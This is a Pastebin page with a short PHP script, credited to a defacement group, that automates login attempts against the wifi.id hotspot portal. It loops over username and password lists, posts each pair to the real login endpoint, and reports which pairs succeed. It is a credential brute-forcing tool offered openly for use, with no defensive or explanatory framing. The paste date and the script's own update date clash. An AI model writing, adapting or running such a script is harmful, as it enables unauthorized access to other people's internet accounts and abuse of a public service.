kcpentest

KCpentest AutoLogin WIif@id

Nov 26th, 2014
3,944
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.36 KB | None | 0 0
  1. <?php
  2. // Script Update :08 Maret 2015
  3. // By Eka Syahwan - http://ekasyahwan.blogspot.com
  4. // Setting Sek
  5. $name = gethostname();
  6. $spasi = "\n";
  7.  
  8. // Setting Username dan Password
  9. $username = array (
  10.  
  11.  
  12. );
  13. $password = array (
  14. 'password',
  15. 'password',
  16.  
  17. );
  18.  
  19. // Saatnya Menghajar
  20. echo "----------------------------------------", "$spasi";
  21. echo "-          AutoLogin Wifi@id           -", "$spasi";
  22. echo "-   Code By K3CEB0NG DEFACEMENTS       -", "$spasi";
  23. echo "----------------------------------------", "$spasi";
  24. echo "- who  : $name","$spasi";
  25. echo "----------------------------------------$spasi";
  26. //init curl
  27. foreach ($username as $usr => $user){
  28. foreach($password as $pass => $passwords){
  29. $ch = curl_init('http://welcome9.wifi.id/authwag/login/check_login.php');
  30. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
  31. curl_setopt($ch,CURLOPT_POST,1);
  32. curl_setopt($ch,CURLOPT_POSTFIELDS,"buttonClicked=4&redirect_url=http://facebook.com/ekasyahwan&err_flag=0&username=$user&password=$passwords&submit=");
  33. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  34. if (preg_match("/Successful|Berhasil|redirec|wifi.id-wag|:1|default/", curl_exec ($ch))){
  35.                     echo "[Scan]-->[Sukses] $user:$passwords", "\n";
  36. }else {
  37.                     echo "[Scan]-->[Gagal] $user:$passwords", "\n";}
  38. curl_close ($ch);
  39. }
  40. }?>
Advertisement
Add Comment
Please, Sign In to add comment